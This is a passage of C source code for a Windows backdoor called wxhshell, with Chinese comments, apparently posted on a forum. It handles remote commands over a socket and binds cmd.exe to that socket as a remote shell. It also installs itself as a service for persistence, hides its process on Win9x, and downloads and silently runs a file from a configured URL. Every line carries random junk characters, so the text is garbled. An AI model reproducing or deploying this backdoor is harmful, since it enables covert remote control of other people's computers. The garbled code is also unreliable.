  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Z"mVh}  
  } oyJ/Oe {  
  else { :j vx-jQ  
?ae:9ZcH  
    switch(cmd[0]) { 2:/'  
  M&y!w   
  // 帮助 EH]5ZZ[Z  
  case '?': { 6U7z8NV&[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RWXj)H)w  
    break; F1)Q#ThF\  
  } &H,j .~a&l  
  // 安装 Hv<%_t_/  
  case 'i': { aM3%Mx?w  
    if(Install()) f| 3`8JU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OtF{=7  
    else r&xqsZ%R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yK0Q,   
    break; EUe2<G  
    } {`KgyC W:  
  // 卸载 pR&cdO RsP  
  case 'r': { ||}|=Sz  
    if(Uninstall()) 1U~AupHE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  #d*mG =  
    else KcfW+> W3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); naXo < B  
    break; DhY9)>4M  
    } [={pF q`  
  // 显示 wxhshell 所在路径 (OYR, [*  
  case 'p': { 6k42>e*p  
    char svExeFile[MAX_PATH]; Q{H88g^=J  
    strcpy(svExeFile,"\n\r"); \h :Rw|  
      strcat(svExeFile,ExeFile); Zo;@StN3}T  
        send(wsh,svExeFile,strlen(svExeFile),0); xp1 +C{  
    break; *WfOB2rU  
    } + yS"pOT  
  // 重启 q uv`~qn  
  case 'b': { e&7GW9FSg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~VUNN[  
    if(Boot(REBOOT)) PFG):i-?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,,Da|edH  
    else { BYVp~!u  
    closesocket(wsh); +sE81B  
    ExitThread(0); Gc4N)oq)}b  
    } =@binTC4  
    break; cIja^xD  
    } %6L!JN  
  // 关机 1F/`*z  
  case 'd': { gUL`)t\}*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ePIBg(  
    if(Boot(SHUTDOWN)) =a?l@dI]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {.H}+@0  
    else { vp4!p~C{  
    closesocket(wsh); 5D-xm$8C  
    ExitThread(0); K,|Gtaa~  
    } W8yr06{]  
    break; 2[9hl@=%  
    } Trbgg  
  // 获取shell =d7lrx+z  
  case 's': { 11X-X  
    CmdShell(wsh); y$*Tbzp  
    closesocket(wsh); &>@nW!n u  
    ExitThread(0); @6 gA4h  
    break; N ^h,[  
  } z mrk`o~  
  // 退出 =:6Y<ftC  
  case 'x': { &]pW##  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -q(,}/Xf  
    CloseIt(wsh); @XDU !<N  
    break; ;TMH.E,h:  
    } z6|P]u  
  // 离开 `8xe2=Ub  
  case 'q': { 6rt.ec(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .4_EaQ;jX  
    closesocket(wsh); rNfua   
    WSACleanup(); 0}PW?t76  
    exit(1); K ^A\S  
    break; ',kYZay  
        } Xn$]DE/r}N  
  } 4eBM/i  
  } 9j:?s;B  
He)v:AH  
  // 提示信息 bX|Z||img  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~e~4S~{  
} O#Xq0o  
  } I#Iu:,OT  
7,j}]  
  return; kIrME:  
} ut& RKr3  
+S^Uw'L$=T  
// shell模块句柄 zg)Z2?K|;u  
int CmdShell(SOCKET sock) t \DS}3pv  
{ V2i*PK X  
STARTUPINFO si; lsY5QE:Qrp  
ZeroMemory(&si,sizeof(si)); rbO9NRg>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9"=:\PE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 46Nl];g1`  
PROCESS_INFORMATION ProcessInfo; *1ku2e]z  
char cmdline[]="cmd"; `Kpn@Xg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sw%=/g  
  return 0; Xy_+L_h^  
} Z7K ;~*  
vs7Hg )F  
// 自身启动模式 C[&  \Xq  
int StartFromService(void) EtcAU}9  
{ _;v4 ]MU  
typedef struct b0 PF7PEEQ  
{ {]Nvq9?  
  DWORD ExitStatus; x}AWWmXv  
  DWORD PebBaseAddress; V. =!^0'A  
  DWORD AffinityMask; &=<x&4H+  
  DWORD BasePriority; _+ oX9  
  ULONG UniqueProcessId; E2LpQNvN%g  
  ULONG InheritedFromUniqueProcessId; <[8at6;  
}   PROCESS_BASIC_INFORMATION; jGb+bN5U7  
qI^6}PB  
PROCNTQSIP NtQueryInformationProcess; 3"6lPUS  
X*]uLgbl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +sQ=Uw#e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "sUL"i  
w%S\)wjS  
  HANDLE             hProcess; \a<qI  
  PROCESS_BASIC_INFORMATION pbi; \gDf&I  
jC@$D*"J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &]ts*qCEL  
  if(NULL == hInst ) return 0; ]6GdB3?UVM  
&Jk0SUk MP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8JJqEkQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fv.}w_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %g kR G66  
HP:ee+n  
  if (!NtQueryInformationProcess) return 0; 1bYc^(z0  
] RN&s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C6M|A3^T  
  if(!hProcess) return 0; crz )F"  
i"0^Gr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; % E3  
(Z,v)TOXjV  
  CloseHandle(hProcess); PUuxKW}  
\WQ\q \  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J)x-Yhe  
if(hProcess==NULL) return 0; 4~P{H/]  
A'c0zWV2  
HMODULE hMod; #:3ca] k  
char procName[255]; Z Mt9'w;  
unsigned long cbNeeded; -iR}kP|  
O7g ?x3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i 'H{cN6  
{SY@7G]  
  CloseHandle(hProcess); /[q6"R!uMz  
z{]$WVs:^  
if(strstr(procName,"services")) return 1; // 以服务启动 CJ8XKy  
#@w8wCj  
  return 0; // 注册表启动 lr=? &>MXj  
} iyB02\d  
9 ]c2ub7  
// 主模块 $.a<b^.Xi  
int StartWxhshell(LPSTR lpCmdLine) I+ rHb< P%  
{ P%8 Gaa=  
  SOCKET wsl; sG=D(n1  
BOOL val=TRUE; ?w#V<3=  
  int port=0; ^vn8s~#  
  struct sockaddr_in door; aqQ YU5l4~  
6y)TXp  
  if(wscfg.ws_autoins) Install(); f7Y0L8D  
ZgP=maQk  
port=atoi(lpCmdLine); s )POtJ<  
+ 0{m(%i  
if(port<=0) port=wscfg.ws_port; 6NPCp/  
MCZTeYnx  
  WSADATA data; !g  #  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <1YINkRz  
:1^ R$0d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $A;jl`ng  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UOJx-o!c?  
  door.sin_family = AF_INET; 3k.{gAZKh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n sKl3}uU  
  door.sin_port = htons(port); [<\k  
 0w>V![  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q_bE?j{  
closesocket(wsl); VUpa^R  
return 1; eee77.@y-p  
} cY8X A6  
9t:F![rg  
  if(listen(wsl,2) == INVALID_SOCKET) { A'vQtlvKA  
closesocket(wsl); Jz&a9  
return 1; VgD z:j  
} ,m;S-Im_Xr  
  Wxhshell(wsl); Jr$,w7tQn@  
  WSACleanup(); PIR#M('  
tJ>%Xop  
return 0; N: ?UA  
]VtVw^ir  
} mk(O..)2  
4y\qJw)~U  
// 以NT服务方式启动 d[E~}Dq3#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }Qyuy~-&^  
{ $M{MOehZ  
DWORD   status = 0; $&& mGD;?K  
  DWORD   specificError = 0xfffffff; *oopdGue  
ZUePHI-dP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q97F5ru6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; " !F)K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ir&rTGFN  
  serviceStatus.dwWin32ExitCode     = 0; q,`"Z)97  
  serviceStatus.dwServiceSpecificExitCode = 0; B~+3<#B  
  serviceStatus.dwCheckPoint       = 0; +Z> Y//  
  serviceStatus.dwWaitHint       = 0; =r"-Pm{  
&|yQwNA*a"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *j5>2-C &  
  if (hServiceStatusHandle==0) return; TRP#b 7nC  
q.0Evr:  
status = GetLastError(); +`tl<r g;  
  if (status!=NO_ERROR) i[_ (0P+Da  
{ yM aU`z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5.m&93P  
    serviceStatus.dwCheckPoint       = 0; p)6!GdT  
    serviceStatus.dwWaitHint       = 0; R= ,jqW<  
    serviceStatus.dwWin32ExitCode     = status; Z6s-n$dSm  
    serviceStatus.dwServiceSpecificExitCode = specificError; w0qrh\3du  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `EKmp|B_p_  
    return; ~puXZCatN  
  } b3R1L|@  
I><B6pIR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G"k.sRKu  
  serviceStatus.dwCheckPoint       = 0; NwAvxN<R(f  
  serviceStatus.dwWaitHint       = 0; jf&B5>-x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e_RLKFv7  
} 9{[I|  
TL&`Ywy  
// 处理NT服务事件,比如:启动、停止 H#H@AY3Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z=mH\!  
{ ?*DM|hzOi  
switch(fdwControl) F6 mc<n  
{ :rxS &5  
case SERVICE_CONTROL_STOP: SnIH6k0T_  
  serviceStatus.dwWin32ExitCode = 0; f>*T0"\c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #b~B 0:U  
  serviceStatus.dwCheckPoint   = 0; kN7 J Z12  
  serviceStatus.dwWaitHint     = 0; _y>mmE   
  { SeuC7!q{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gu?e%]X3  
  } y8*MNw  
  return; jfmHc(fX4  
case SERVICE_CONTROL_PAUSE: C,;T/9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  +kA>^  
  break; 1oKF-";u(  
case SERVICE_CONTROL_CONTINUE: .8o?`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h/oRWl0r  
  break; X0:V5 e  
case SERVICE_CONTROL_INTERROGATE: sX8d8d`}  
  break; Xir ERc.e  
}; ')R+Z/hG.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6U.A/8z  
} OaTnQ|*  
G5WQTMzf&  
// 标准应用程序主函数 d]A.=NAc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u<L<o 2  
{ Sg%h}]~   
pbCj ^  
// 获取操作系统版本 {6 #Qm7s-  
OsIsNt=GetOsVer(); -VZn`6%s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jY;T:C-T  
Wd`*<+t]  
  // 从命令行安装 cNbH:r"Ay  
  if(strpbrk(lpCmdLine,"iI")) Install(); oW}nr<G{<  
k8KRVXgx  
  // 下载执行文件 )Ehi 8  
if(wscfg.ws_downexe) { LNz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) su$IXI#R-&  
  WinExec(wscfg.ws_filenam,SW_HIDE); .7 K)'  
} &9Y ^/W  
< `$svM  
if(!OsIsNt) { BiY-u/bH9a  
// 如果时win9x,隐藏进程并且设置为注册表启动 dU}Cb?]7s  
HideProc(); m+UWvUB)  
StartWxhshell(lpCmdLine); Sp7VH+  
} R$XHjb)  
else _0cCTQE  
  if(StartFromService()) A<h^.{  
  // 以服务方式启动 ai7R@~O:_k  
  StartServiceCtrlDispatcher(DispatchTable); "D\>oFu  
else - -fRhN>  
  // 普通方式启动 Bd'X~Vj<  
  StartWxhshell(lpCmdLine); ?"F9~vx&G  
ol0i^d*9F  
return 0; nxWm  
}
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只看该作者 1 发表于: 2006-10-10
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